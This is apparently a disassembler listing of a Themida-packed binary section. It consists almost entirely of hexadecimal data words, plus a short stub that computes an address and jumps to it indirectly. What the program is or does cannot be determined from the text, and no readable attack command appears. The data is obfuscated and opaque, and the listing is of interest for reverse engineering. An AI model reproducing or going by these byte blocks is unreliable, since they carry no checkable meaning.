		dd 0B41FABE2h, 0E34CDA9Fh, 15BE0C45h, 45EE3C79h, 56DD6924h
		dd 34EEF23h, 377A1C87h,	652C50F3h, 96DF7E21h, 34569410h
		dd 0B6063EF4h, 0FFA388CEh, 0F88155Ch, 4AF016ADh, 2380C569h
		dd 0E158AE0Ah, 0A3B60008h, 2B893288h, 0F4397018h, 0EA1CCAA3h
		dd 0BCAE6EE9h, 8DD891DBh, 392B9A86h, 8B86CBA1h,	0D5CEB12Fh
		dd 0A288B31h, 2746E94Fh, 0D477D86Eh, 2597109Dh,	0D7DE689Eh
		dd 89C3564Ah, 6A3FEC4Fh, 74A4BF15h, 14761CAh, 8FE5D4D2h
		dd 338532Ch, 57F20000h,	0A27881Eh, 3058FB4Fh, 0EC822D79h
		dd 91B21DA9h, 0B0C14EDCh, 3E8CC162h, 62B8F595h,	5CEAA3C1h
		dd 8D1950F3h, 81B9C319h, 43B60640h, 5CFF1E05h, 14533AF4h
		dd 5899B6F2h, 2BA38CAFh, 58C9102Ah, 1C817A37h, 6482399Bh
		dd 0FFF26722h, 0B4F25DB5h, 8DC8654Eh, 1AAA42Bh,	1870000h
		dd 1349EB2Ch, 937AF3FCh, 61A8220Bh, 7CBB1177h, 345615Ah
		dd 0B60086D8h, 4F06258Eh, 0A16FC9E2h, 0F0F41276h, 0ABAB3D7Dh
		dd 0F214B209h, 0B1E58D47h, 0C8D123Dh, 0B1F89BA8h, 0D9822D8h
		dd 0F7B890F7h, 0B1FEB3D4h, 785B8F78h, 0D11B9DD4h, 6F2A48ABh
		dd 0E04FE9C2h, 48B6F4BDh, 2D8BC667h, 7EAAE382h,	0F09A0934h
		dd 6FC6BF7Ch, 29000002h, 60C3470Eh, 8F307633h, 0B91AA0E9h
		dd 0E94AD095h, 3A810548h, 0B7FA9B77h, 0E3AED073h, 1158FCA7h
		dd 420B2A95h, 40FA60C4h, 0B6064048h, 0FF57FC3Ah, 5288155Ch
		dd 1E9AD371h, 6A902B89h, 2464A6CCh, 1EAF57D7h, 0FBBED435h
		dd 1D4ABBDh, 85AEB600h,	0D48C6001h, 0BACC48EBh,	0B600027Eh
		dd 0ADF2EB44h, 0C96B3C7Ch, 0C7325472h, 99BCA817h, 0D4591436h
		dd 3A672A4Bh, 94FE08E1h, 0A9A7C246h, 3E5CE236h,	0A8448C8Ch
		dd 0E4DD76BCh, 2D294284h, 32624B8Ah, 0D2725D89h, 0B5D71D9Bh
		dd 52323D06h, 4DCE53FCh, 8B654EFh, 6DCB86A7h, 0DDA70C9Bh
		dd 0A95DF658h, 0B4FDA003h, 6AA43E6Fh, 22FEE896h, 0F1941B9Dh
		dd 0A2C162B8h, 366F3DEBh, 0F231504Dh, 19D11h, 79305700h
		dd 0A8ED822Dh, 0DE97B112h, 0E4BE748h, 3B7617B8h, 0C15160EFh
		dd 0F659EDA0h, 228D1954h, 54FF4B02h, 0BA227831h, 412266A0h
		dd 0DAE0B606h, 155CFF7Dh, 16AD0F88h, 8B004AF0h,	65A5E75Fh
		dd 5FAF588Eh, 48ADFAF4h, 9F1AEC4Ch, 41B600D6h, 59F93C5Eh
		dd 0A59E8F14h, 47892F78h, 244C064h, 0B600D606h,	357A53FCh
		dd 90BF0BE4h, 0E586B5E7h, 5E377220h, 48074165h,	1EB6063Dh
		dd 3D5256F0h, 730B606h,	26C46F91h, 53D79EBDh, 64294AB5h
		dd 0E54AEE3Fh, 91DB0F46h, 0A35C251Eh, 5E6328Fh,	7FAB1084h
		dd 0B4C400CDh, 0BD69C2BCh, 2C7A3352h, 4A9E083h,	77609CDEh
		dd 0F2EB631Eh, 276B2D4h, 0E34CBCB4h, 0F942F2B5h, 1CB0BBCDh
		dd 0B992C35Ch, 0CEE3370Fh, 0E95A59E5h, 0C2h, 1694DD7Ch
		dd 41C580ADh, 0B7F3BADEh, 0E723660Ch, 0D0561B3Ch, 4BEC264Bh
		dd 7F1F8006h, 294BF432h, 0DA79DA60h, 55971793h,	641F733h
		dd 0A08FCDB6h, 723B59BAh, 88336126h, 3D1F2852h,	0DEC1B606h
		dd 9BA5F3BAh, 93B273B0h, 50F13C52h, 0AE87901Dh,	9BB72801h
		dd 6F5851DEh, 7DD578DBh, 8EDC459Eh, 96342D0Eh, 0DEDADE68h
		dd 8FA8B605h, 56B0BA29h, 7F04D160h, 7F1E258Eh, 2C4FF036h
		dd 0E11B4165h, 4D15FA9h, 8B78B09Bh, 0EC31741Ah,	0D8DF406Dh
		dd 142B1DB5h, 8B96EC2Bh, 88AB1492h, 58865CC1h, 0D155EA2Eh
		dd 397FD804h, 1556h, 1CBA7100h,	57D6AEEAh, 0FBB94AFh, 57D6BDFDh
		dd 0CAC87AFh, 58FF77ECh, 70138C11h, 92BF439h, 2042E340h
		dd 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh
		dd 83FA4AD7h, 2C8904ECh, 81E58924h, 4C5h, 4ED8300h, 5C242C87h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68243C89h, 6AAh
		dd 50240489h, 7D2DBD55h, 0CD8173AEh, 6F2359EFh,	17EEC581h
		dd 0E5C17FB1h, 8CF58104h, 4D578C3Dh, 0F99BED81h, 0E8899AD6h
		dd 58C7895Dh, 24048B54h, 5204C483h, 8BAh, 89C20100h, 24148B3Ah
		dd 4C481h, 48B0000h, 0E2895224h, 4C281h, 0C2810000h, 4
		dd 5C241487h, 5F2434FFh, 0E904C483h, 0FFFA10C2h, 4D9AA630h
		db 22h,	0E0h, 7Ah
; ---------------------------------------------------------------------------


loc_5B0713:				; CODE XREF: Themida_:005B008Cj
		mov	eax, 6AE6C6Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 54BBBF4Fh, 7EFF3DFBh, 0CB9A2E8h, 62DCDF2Eh, 52FE8380h
		dd 597E0AB3h, 3C72DDAFh, 44513CDAh, 169124A3h, 2C5D0547h
		dd 1B7EDC72h, 3B662C63h, 119B8406h, 54021299h, 59CDFF9Bh
		dd 0B6D4369h, 2013FEBh,	42B78298h, 50520100h, 520493AAh
		dd 9E9h, 9165B600h, 7Ah, 88E90000h, 8D000005h, 0BC67A3EAh
		dd 0EB54D297h, 1D86044Dh, 4DF63471h, 5E25612Ch,	1B56F71Bh
		dd 4F02248Fh, 7D3458FBh, 0AEE78629h, 2C5E8C18h,	0B60643ECh
		dd 896A90D6h, 2C7DA2EBh, 5CFFA78Ch, 76178815h, 2144EF3Bh
		dd 3B5ACB68h, 0DF742D72h, 0CDBE159Ah, 0BA3E5D64h, 57D70800h
		dd 7851FAAFh, 22E38122h, 4743850Dh, 3DAF57D7h, 0A3F43912h
		dd 0B1D37CCAh, 1D82CF70h, 0CF7130Ch, 0ADFE2366h, 0D6CBCF79h
		dd 9EB9AF57h, 56F8A91Ah, 7A53961Bh, 0DB92B2B9h,	841E44Fh
		dd 0D764A3ABh, 0C1D6AF57h, 0D6665260h, 5F8112DFh, 5B000000h
		dd 0E38F8B3Dh, 0DA75AF57h, 5CFF555Eh, 484E8815h, 0B2AF57D7h
		dd 82C76B54h, 37AC0C1Dh, 0D6706C6Eh, 19712DFh, 0A8000000h
		dd 0F31752FFh, 0D6F73355h, 62CDAF57h, 63895536h, 57D6E1D9h
		dd 2088A3AFh, 0A97D27Fh, 0AB0F599h, 5CC184A9h, 977EED4Bh
		dd 0D9767D26h, 463F7214h, 753C5FC0h, 1CBA0A31h,	57D6AEEAh
		dd 0F95A94AFh, 4CC4799Bh, 713E7A53h, 0F23650D0h, 0D0AF58A0h
		dd 2B620667h, 62B9432h,	6BCDDE43h, 0AE0A27F8h, 3453EC23h
		dd 662B4B20h, 1EF7E039h, 21681091h, 4F0223FCh, 199A73E2h
		dd 0F4397C12h, 0EE47CAA3h, 0D81D3E45h, 8501FAB7h, 0ED327B1Ah
		dd 2FEE8E71h, 0CEDF440Dh, 0D95F48D5h, 367B3256h, 3A38F952h
		dd 12DF22BEh, 92D9h, 5EFF6200h,	7DDFFDF2h, 2C9974D9h, 4333CBE9h
		dd 0ADED1F2Dh, 97AF58BFh, 45EAC3BCh, 0A8F5BCDCh, 0C8CF50C5h
		dd 0BA3CEAA7h, 1DE7A877h, 0FC0EBCB0h, 0AF583CBCh, 810BAD86h
		dd 0F3307D1Eh, 0D4591C32h, 3D62274Bh, 2489C064h, 0E170316Eh
		dd 0A753A5BFh, 0D590BE50h, 0EF875F48h, 59748EEAh, 0CBF192Ah
		dd 0C061DA5Eh, 0DFDE36B2h, 5F5112h, 0BAEA0000h,	2E733A59h
		dd 53F4BBFDh, 6C10911Eh, 0E3C8F825h, 0B6D07E42h, 0AF57D772h
		dd 0EEB1E750h, 0AAE7884Dh, 0FF4E75B1h, 5FF9DA52h, 0D6ACEC16h
		dd 8B2AF57h, 0AF57D710h, 0AE8959F2h, 0A7EE68B5h, 15AF57D6h
		dd 19531D86h, 0E5348846h, 6C8953Fh, 0E5A49F57h,	4531E533h
		dd 0A012DFE7h, 1, 3B59BA7Bh, 0F6325472h, 0CCAF57D6h, 0CE6A3563h
		dd 0EA891A87h, 0AAF507A3h, 0B6A8A89Ch, 0FF02E137h, 2BDA55A7h
		dd 0C9C42A98h, 242BF46Fh, 8D36AC04h, 3865204Dh,	402817EFh
		dd 0CF541D3Fh, 0EF84E5DEh, 3B1405AAh, 43F85CEFh, 0B9C665A7h
		dd 5EBCB600h, 0B9EC2Ch,	847DD6B6h, 0AEE7861Fh, 3C94B718h
		dd 51B487C6h, 0D3F7E0EDh, 9FC7C399h, 262D6Dh, 0A23C17B6h
		dd 0FE08D669h, 3B15E465h, 0ED5EDA30h, 0BD2B6Dh,	931C97B6h
		dd 2119A3C9h, 0E3B600BDh, 30689248h, 12B600BDh,	0D30FF39h
		dd 3E5DC644h, 0DA792A77h, 0F9950E93h, 51EB77BCh, 0B600BD59h
		dd 0F99F002Bh, 96B273B0h, 0B65952DFh, 37E4941Dh, 1736279Ah
		dd 0C865ECC5h, 743D6067h, 658EC836h, 6BE41550h,	85712573h
		dd 6014777Dh, 128h, 0EB5E7BBh, 0F214B2D8h, 0AF57D6B6h
		dd 0F375A38Ch, 0B6000670h, 0EBB4F952h, 1A850148h, 4D4DFF7Bh
		dd 37B60006h, 25FE231Ch, 5FE24F06h, 7262DF6h, 605CF84Eh
		dd 0AF1477F9h, 64A62E44h, 0B6001224h, 0D75C351Eh, 4CA052C6h
		dd 7B000000h, 3E8630BAh, 19E87AF4h, 1CA7089Fh, 53C5CEEh
		dd 0A5062F58h, 48D5CE87h, 58058A8Eh, 0E970C2Fh,	0AB780842h
		dd 141E85E6h, 9F920384h, 2CDAB3FEh, 58CF7E9Ah, 0BD2644AFh
		dd 5E4FD491h, 58CF74B4h, 0CE54EAFh, 9235BEh, 0E7100000h
		dd 3B8FEFB5h, 8CB6EDCFh, 8FC97793h, 0A49CAEDEh,	8F8B33CCh
		dd 75AF5821h, 72945EDAh, 0B600549Bh, 68254669h,	6BAD33CBh
		dd 0DB2C3CADh, 0FBA409E2h, 6EAADC58h, 54B600C1h, 0A099D073h
		dd 0ADD073B7h, 5A3BFE4h, 0C0C7C3h, 692BDB6h, 0C1C3C0h
		dd 0FBA40FB6h, 821851F4h, 0FA209B39h, 0EC317419h, 55F77DBBh
		dd 0BCAF2FB5h, 0A67FA48Fh, 9E61CE87h, 0DF7D6C35h, 64044664h
		dd 7AC35D9Dh, 9D6EAADCh, 0FB54C35Dh, 0E1650E3h,	0EE4A40ABh
		dd 94B3F720h, 0E786B5E7h, 0EB11B5AEh, 0E32B6608h, 0AF57D7A7h
		dd 0FC66B29Dh, 0F27A0456h, 23BBF291h, 5ADEA33Fh, 6B7EC8Ch
		dd 497DD6B6h, 0EA8B6C0Fh, 8130B642h, 0FE74F109h, 1D8E2A03h
		dd 7E20E184h, 0C4BDEE33h, 0F7BEDD46h, 3E4999D3h, 0AFA7E325h
		dd 0B29DB606h, 41D5B238h, 93F274D7h, 2232452Eh,	42E1E849h
		dd 7114BF0Bh, 0C16FFB38h, 452E8387h, 42D64132h,	0AFF4B1DDh
		dd 9BA203A8h, 0CA75B1F8h, 0C4BDE2ABh, 3, 0FFCBB0E7h, 138C1158h
		dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
		dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 5E08950h, 4, 8704E883h
		dd 248B2404h, 0E0895024h, 405h,	42D00h,	4870000h, 3C895C24h
		dd 781D6824h, 4890000h,	4EC8324h, 0B8240489h, 6AE6D72h
		dd 6858C789h, 595Fh, 81242489h,	42404h,	57580000h, 3C243481h
		dd 8F1FA375h, 0BB530840h, 8, 3381C301h,	1FA3753Ch, 24048B5Bh
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 835F2434h
		dd 0D3E904C4h, 37FFFA0Ah, 687332FCh, 5FE02D27h,	0B8D61BEEh
		dd 6AE7267h, 0E0FFC503h, 5BAC48B3h, 1F38D7A5h, 134DDBD3h
		dd 48487CAEh, 26996BE8h, 9A59A6Bh, 49D9811Bh, 0A5557FDh
		dd 4A7E4D5Dh, 3D587141h, 44FBCA96h, 2B1D3C07h, 49028866h
		dd 666E03A8h, 1D98CAFBh, 39112963h, 71D15BD9h, 70C8D3F7h
		dd 76496AD4h, 10E9182Dh, 2F503F9Fh, 0DE8h, 0D623D100h
		dd 0E8760D89h, 10ECD303h, 870FCA54h, 2,	5358EB8Ah, 5B5E5051h
		dd 2CC0815Bh, 0BA000063h, 2E871410h, 493C281h, 0BE66D179h
		dd 388BBE31h, 0D1B70F60h, 5E9h,	8BFEC500h, 81610F5Dh, 37E9F7EFh
		dd 7A6BB97Dh, 0F78111BFh, 21F2EC52h, 60EF81FCh,	523E5E8Fh
		dd 0F5BFCB9h, 66575E16h, 8FCB8Bh, 4E883FCh, 0EA81CA8Bh
		dd 1, 18850Fh, 26E90000h, 97000000h, 0CB4D0D96h, 7ABDE963h
		dd 8214B1AEh, 6D567C7Ch, 81664172h, 0E9E357C9h,	0FFFFFF96h
		dd 51ACDBAEh, 0A0298CDh, 2DE9E8h, 0AED20000h, 1C74h, 9 dup(0)
		dd 0E9000000h, 4A5h, 0AE754A68h, 980E906h, 0B868FFFAh
		dd 0E906AE75h, 0FFFA0976h, 0AE76F768h, 96CE906h, 8FAAFFFAh
		dd 0B2DF40C6h, 6810B3F7h, 143AE521h, 0C96AD551h, 0F8B90684h
		dd 0F634791Ah, 0DA602D4Dh, 1492DB79h, 45C188ABh, 0C9C17BE1h
		dd 0BBB6064Ah, 5EFFD67Dh, 76158E13h, 6ADB96B7h,	0C1D82CBh
		dd 80349713h, 0E1DA9FB3h, 2D6D9FC5h, 17AF57D7h,	54D990B4h
		dd 54F96A43h, 2B5D8711h, 0B5FFE184h, 0AAEE187Eh, 98B5FFE0h
		dd 9159C6BFh, 0B5FFE195h, 0A6C82B31h, 86B8D80Ah, 534C29ADh
		dd 0C76CDDCEh, 0F4BD1682h, 773B0AE6h, 2A3ED14h,	1360000h
		dd 0F843F122h, 0ED51B8C2h, 1833B5FFh, 539766A0h, 0A014B365h
		dd 3741EF1Bh, 0BDC0DD92h, 0ADC5CA4h, 0BA0D7B03h, 1DC956C1h
		dd 0F3A783DBh, 5CDC6F3Dh, 34D269CBh, 0B5B95592h, 56E52FC0h
		dd 521004BEh, 0EA10B6AFh, 9AFE3A4Ch, 8AC4C0B5h,	0D416DE68h
		dd 2E8A63D0h, 1FABE281h, 20D891B4h, 0E875F0D5h,	0EB1BE4C7h
		dd 0B5000002h, 0E44FDB92h, 13BC0A4Fh, 45EE3C75h, 75DE6C29h
		dd 860D99D4h, 337E1FF3h, 672A4CF7h, 95DC8023h, 0C68FAE11h
		dd 0C406E440h, 0B6064BC4h, 0E7D378BEh, 0F7D80EB5h, 0B8F19356h
		dd 658369CFh, 895D87Ah,	504F991Fh, 32B6064Bh, 6102ED19h
		dd 8F709E2Ch, 2C7DA2EFh, 4F02238Ch, 4B1B18E2h, 0E588B606h
		dd 0C2937CACh, 1E9DF324h, 27DA5h, 69204700h, 98DD72DDh
		dd 0CE87A102h, 0FEBBD778h, 2B6607A8h, 0B161109Fh, 0E649DD90h
		dd 12BD0944h, 44EF3B72h, 4AD26821h, 4C327690h, 0CA10B606h
		dd 0EB5E76Dh, 4B6FAED8h, 7255B606h, 7AA099DCh, 66B2FB99h
		dd 0D7765985h, 0C8CC1A9Eh, 0DBB6064Ah, 0F4ADF2B7h, 549B1851h
		dd 0F927B67Fh, 95819112h, 701471A6h, 165h, 9D5CFFCBh, 54D9B2FBh
		dd 0C5E1A8CBh, 0A8F5B8DAh, 0E853397Fh, 0B1CBFF44h, 0B5FFF64Eh
		dd 54961B34h, 0B5FFF650h, 1C1E876Ch, 1477CD20h,	4AC7h
		dd 0B5E75800h, 5AF7D80Eh, 3553991Fh, 0D67BA8A3h, 0E2182E79h
		dd 58BF6058h, 0AF0922AFh, 0ED4659h, 8E133CB6h, 0ED484Ch
		dd 268F64B6h, 93DA795Ah, 72B6D00Eh, 50B600EDh, 0FE9D0EE7h
		dd 0E7316AB7h, 76C04733h, 0ABA614h, 0FF790000h,	6AAED85Ch
		dd 58AF57D7h, 96E006FFh, 2FDA2A9Ch, 0F96ACE97h,	0E54A0728h
		dd 0D350193Ch, 2C7A3352h, 585AB8DAh, 2745AEAFh,	40E8C16Eh
		dd 0B1F5BCDFh, 0E91DA616h, 2FA705Fh, 0CDF952B6h, 0FA2565A7h
		dd 0DE7EB602h, 0BCFC5797h, 612C4DB6h, 94D97A25h, 28138574h
		dd 532C8FF3h, 13Eh, 92286108h, 0CD591C31h, 3B8FC662h, 6BBFFA98h
		dd 5CEAA7C8h, 0CF70A2D7h, 0FB9B0482h, 0ADCF70B6h, 5EFDA6E4h
		dd 0D10B9317h, 64D73B7h, 2C0B51B6h, 97135EFFh, 0AFE68669h
		dd 0CC81A102h, 0BBDA45D3h, 204EB4F2h, 57D7A2E6h, 61B760AFh
		dd 155CFF3Ah, 3D741788h, 4F844F89h, 59E3BAF2h, 62D275DFh
		dd 4A9B2DD9h, 38B6005Ah, 6708EB1Fh, 2A6A9C2Ah, 79B6005Ah
		dd 0AC1793DAh, 8D59C68Bh, 0E74C0122h, 0B79D62B6h, 79000000h
		dd 7DBBF296h, 3859BA36h, 3B7E1475h, 0B473A5F6h,	0FD0FBB00h
		dd 0B6064ABEh, 4F022384h, 3558C956h, 0DFC02E7Ch, 0FCA3F5BCh
		dd 6002F159h, 28288970h, 5368F23Fh, 50D0E19Bh, 68396623h
		dd 6B278CC5h, 0C96C733Ch, 97049780h, 0E064070Eh, 0E19B62A6h
		dd 2E1620D0h, 0B3A62C69h, 47635C35h, 9840DA35h,	79BF5A20h
		dd 440D3093h, 6D2846DFh, 733E5FC0h, 17D6752Eh, 0DD423B76h
		dd 0D05FC0ABh, 141B8431h, 4988B071h, 928B6429h,	0C188AB14h
		dd 24E35Ch, 0D9070000h,	0F51D58F6h, 0D0E192B5h,	99064FEEh
		dd 43D57E80h, 0EC0AB058h, 57D75E5Ah, 9A0B24AFh,	3F68B5F8h
		dd 58FFB2F9h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh
		dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 56FA4AD7h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	268240Ch, 89000027h
		dd 1A682434h, 89000058h, 0BF57240Ch, 513C7B8Ch,	71F8C9BEh
		dd 6C681B5h, 1142748h, 6EE81FEh, 5F142748h, 240C8B54h
		dd 5204C483h, 5189F289h, 24148B08h, 4C481h, 34FF0000h
		dd 0C4815924h, 4, 5624348Bh, 0C681E689h, 4, 4C681h, 34870000h
		dd 0EFE95C24h, 67FFFA04h, 20841BE4h, 0CD578A92h, 785AB8CEh
		dd 0C50306AEh, 8AEEE0FFh, 6E2D6FE2h, 81212D04h,	2DD16616h
		dd 8D8D1692h, 6AE79DFh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 18C35545h, 20C2EB6Bh,	0DB1B960h, 21D19D89h
		dd 8D8906A8h, 6A805B9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 6AC35545h, 146985C7h,	6E8C06A8h, 8D090000h
		dd 6A81FB5h, 0BBD85C7h,	6A8h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 7314F0C3h
		dd 85B5298Ah, 0E906A81Dh, 0Ch, 7399AED2h, 0C808EBF9h, 0BEF60D09h
		dd 5FDB5FFh, 858B06A8h,	6A820E1h, 20DD95FFh, 6A06A8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 9E592AC3h, 0AE58CAACh, 81DAE867h, 7E3D42C6h,	16BB6616h
		dd 0FF006A1Ch, 0A81B3195h, 0EBC08B06h, 4F77917Ah, 6FB759D5h
		dd 0B2BB8066h, 28758B56h, 0C9D18EEEh, 38530E1Eh, 0DCC8C5B2h
		dd 0FEAFB719h, 1664BE4Dh, 3971145Eh, 0F268B847h, 0FFD0A33Dh
		dd 90B5A850h, 7463E8D6h, 0FCE283C2h, 2AE3680Fh,	6CB196F3h
		dd 58F8267Ch, 0F21F3CACh, 377088DAh, 757CF1FFh,	366B1573h
		dd 0E3E68226h, 396AD008h, 0FB8D954Ah, 3FF30996h, 84F30017h
		dd 0DE423FB8h, 12A3F7BEh, 8B6A4A8Ch, 53C4A889h,	5DB17D3Ah
		dd 0E8B132AFh, 6F7BB354h, 0ABA2DA67h, 41393256h, 59A33A13h
		dd 2F2FAD77h, 8B3CA96Bh, 0FE13CB1Eh, 5D305419h,	36E9B3DBh
		dd 22BE3256h, 0D5B13241h, 0EAB120BFh, 40A3F056h, 0C8412996h
		dd 0FDD0E1B0h, 39EDA24Dh, 2FE242F2h, 0AAB3747Bh, 20B13256h
		dd 0EA443256h, 7AE75256h, 0BAB132DDh, 0DD16C56h, 0CFD0520Dh
		dd 0BEB13237h, 0ABB1325Ah, 455703D5h, 0DCA84F27h, 9E93F4A2h
		dd 0A8583256h, 0E9B13256h, 8E31778Ah, 7033F3E8h, 51DEA931h
		dd 0EDF33B61h, 3B1323Dh, 75B13259h, 0EFF1639Fh,	0A46D1AF5h
		dd 0D27E98D8h, 3B10CCEDh, 0ABB1687Ch, 60E3D36h,	0FA318830h
		dd 2E479A37h, 0BAB12256h, 5DBADB56h, 0DDAC3256h, 98ACC86Bh
		dd 0C46A8D7Fh, 0DE333DECh, 8AB13256h, 75B1B359h, 76313256h
		dd 5DB153A2h, 0AEBDBE59h, 50583256h, 2BB13256h,	26F74621h
		dd 0EAB174A4h, 75BEDB36h, 28673256h, 57BB6686h,	0A60F136h
		dd 0DBEACACh, 29BE5302h, 0D5B1325Bh, 0EA343D36h, 13B13256h
		dd 0E609C3D7h, 0A5B13237h, 0BC583256h, 8CB13256h, 5BF43E03h
		dd 216D87AAh, 0A3A5E4B2h, 6477371Ch, 53B13228h,	5DB13244h
		dd 0B312CA71h, 0C26686E8h, 598327DEh, 0AA0A1939h, 8CD1A6D2h
		dd 1329FFEEh, 7392DAD7h, 0B4B13237h, 0AEB1325Bh, 64FD30C4h
		dd 0FF3FC9B3h, 3EFBA0Eh, 1FB132C8h, 89D13256h, 8A25DCD7h
		dd 5DD024F3h, 0AEB1CE56h, 57B0B059h, 0AB493256h, 56BE5256h
		dd 0EAB13254h, 0FEBE14E0h, 0BAB13242h, 5DB13DBFh, 1EDF0256h
		dd 7CAC8C92h, 0ECC70007h, 66FB15B9h, 0EAB1CA37h, 75A6B159h
		dd 0A8583256h, 3EB13256h, 327C5EDh, 0AECD675Dh,	0B89F7FB8h
		dd 87647CF5h, 3B132D0h,	75B13244h, 0D4BA822Dh, 6F4F680Fh
		dd 15F50F7Bh, 353D78B0h, 0ABB14FC6h, 0D5B0BE59h, 0EA4D3256h
		dd 75B1CB56h, 0BAB0B559h, 5D483256h, 0AEA0DB56h, 14ED3256h
		dd 489A05EAh, 0FCF8E7E9h, 8DBA35F7h, 754C93A9h,	0B53B3D56h
		dd 0B4B13256h, 0AEB1325Ch, 76BC90DDh, 5D546667h, 0D5B1F070h
		dd 0EAB134BFh, 9142D256h, 0BAACA4F1h, 5DA2DB56h, 0F0B63256h
		dd 0C83FA6CDh, 5976E773h, 0BFC246C4h, 0C277F84Ch, 80B132DFh
		dd 0BAB13254h, 5AB13256h, 5982C46Eh, 0FC52C528h, 0C12C06EBh
		dd 3DD13256h, 0EAB1325Dh, 0BCB013EBh, 0B4DE9D38h, 3BADA304h
		dd 2C8BFBD7h, 5066530Ch, 0ABB5325Ch, 0D5BD3244h, 0EA9F324Fh
		dd 0DAC32DAh, 349758F1h, 0CF1BA1CFh, 0BA583256h, 25B13256h
		dd 1DD256Dh, 0C39B6E43h, 0EE0A0082h, 0C44D3EC0h, 0BAC3CCCCh
		dd 0EE035256h, 0E557B330h, 0D9BE5342h, 0ABB13257h, 3CB132A3h
		dd 0EAB13242h, 9369C6Eh, 3CDA765h, 0DBA25183h, 0D05B44A9h
		dd 179844DAh, 0AB4D3256h, 0C33A3D56h, 8AB13256h, 75B13BBFh
		dd 92F5BE56h, 757391B1h, 20BE30B3h, 57B13256h, 0AA323D37h
		dd 20B13256h, 0EA483256h, 67B37856h, 0B5B13256h, 5DB13ED2h
		dd 0AEB6DB56h, 0E3543256h, 6826E3C2h, 0DAB13228h, 0EAB138DCh
		dd 0B6305256h, 0BB2DF5DDh, 5DD0F5DDh, 0AEB37856h, 9C843256h
		dd 91916E3Dh, 0F78D930Ah, 7139D92Fh, 0AC23DB38h, 0BAB18A36h
		dd 5DB13FBFh, 6EA5ED56h, 0AD26F056h, 3A6485D9h,	85E03F0Bh
		dd 0EAA5DB04h, 300D3256h, 7B19F9CCh, 0A0E59530h, 577171A4h
		dd 0E25DAD68h, 9ABE891Ch, 0D5B13EBFh, 48DCB656h, 9BD8C265h
		dd 40942ED9h, 0D4E968FDh, 0F8C01652h, 0B51CF681h, 85180225h
		dd 54D46E99h, 12967A9Fh, 75B7DB33h, 7DB73256h, 3E232FA2h
		dd 9A3853CBh, 0C7E96872h, 0E35A0833h, 217634B7h, 8AD2A04Bh
		dd 0F90EEC4Fh, 276AD883h, 4F58AE00h, 0ECB13256h, 0D938A205h
		dd 31F48EF9h, 0B3709A9Dh, 184C66F1h, 4B44B215h,	0BAB126BFh
		dd 1704DE56h, 0B880EAEDh, 0F5DCB6C1h, 45D8C265h, 2F942ED9h
		dd 8BEFAFFDh, 140A78C6h, 0BAB132C5h, 0B4C18174h, 0B2D3D38h
		dd 7639192Ch, 0F6853510h, 3D319184h, 0EAA5DB48h, 607D3256h
		dd 2B09297Ch, 90D5C5A0h, 6761A1D4h, 0D24DDD98h,	0CD2C398Ch
		dd 8DD0E4DDh, 54C87295h, 0BF845E49h, 0BA226A6Dh, 4E585256h
		dd 5FB13256h, 5C51AB2Bh, 0D944A8E8h, 0D90306Fh,	9A3D12A8h
		dd 1449F13Dh, 0BF583256h, 61B13256h, 0E5B4B3F5h, 0DCBE3256h
		dd 0ABB13242h, 0D5B13DBFh, 98906E56h, 1BE9B81Bh, 42E30D9Eh
		dd 0AAF73272h, 0BC77B236h, 57B4B359h, 84083256h, 0B4F324CAh
		dd 16443256h, 0F8BE3256h, 0BAB13251h, 4F7B8D36h, 0A1D07D9Fh
		dd 57B133D6h, 0ABB1CB56h, 0D5B0BC59h, 0EA493256h, 75A2DB56h
		dd 16903256h, 0A1D3B221h, 35D3ABD9h, 0E802A2CEh, 9959BDB3h
		dd 54D75231h, 3FD40B6h,	75B13259h, 3D63349Ch, 19B4B206h
		dd 0DEB45615h, 36D3CC5Ch, 0AB4D3256h, 0D4353D56h, 12B13256h
		dd 894D3256h, 0EAD13256h, 52E86A06h, 0AED0C3E9h, 36445256h
		dd 0ABB134BFh, 0B330A056h, 0EA7B1764h, 0FEE75256h, 52306D87h
		dd 3B163A97h, 47B13237h, 57B13246h, 4955220Ah, 0E63C051h
		dd 48CBCB66h, 4A50C470h, 0B3583256h, 0BBB13256h, 2381BD6Bh
		dd 0E094433Eh, 23BE3256h, 0D5B1325Fh, 0EA323D36h, 8DB13256h
		dd 0B5B13237h, 5DB135D3h, 0AF3A3D56h, 0ABB13256h, 0A7583256h
		dd 7EB13256h, 0D935CE87h, 3D62EDCBh, 0BA54848Dh, 51303D56h
		dd 0A1B13256h, 57B134D7h, 0AB333D56h, 0D5B13256h, 0EAA3DB56h
		dd 17BC3256h, 39176911h, 0ABE930B0h, 7A997945h,	0ACEEA14Ah
		dd 1ED13256h, 0C3A54EDh, 3B13237h, 75B1325Dh, 1D91EDE2h
		dd 38362FD4h, 0AE1BCF40h, 57A5DB56h, 0BFAF3256h, 8B5830E7h
		dd 0FFE4C813h, 0E60055ABh, 0CC4E3D4h, 5DB13059h, 0AEB13FBFh
		dd 0F8EF4156h, 9C2AFD49h, 0ECFC0916h, 0EAB1FABDh, 75B134BFh
		dd 310B3156h, 52D348EFh, 0AEB135DEh, 56323D56h,	52B13256h
		dd 0DAD13256h, 8AD0E2E1h, 75B1BB59h, 0BAD03256h, 5DB1CE56h
		dd 0AEBCB659h, 5F583256h, 20B13256h, 97859EC6h,	0EA8418A3h
		dd 75B1CA56h, 46B132AEh, 0DBBE3256h, 0AEB13251h, 57B0BC59h
		dd 0AB4D3256h, 0C33C3D56h, 3B13256h, 75B13247h,	57A870E6h
		dd 0C65DBE8Ah, 737644E4h, 92651D32h, 0ABBADB6Ch, 26CA3256h
		dd 22BE1C7h, 0ACEA72C1h, 43B132A9h, 5DB126BFh, 3894A456h
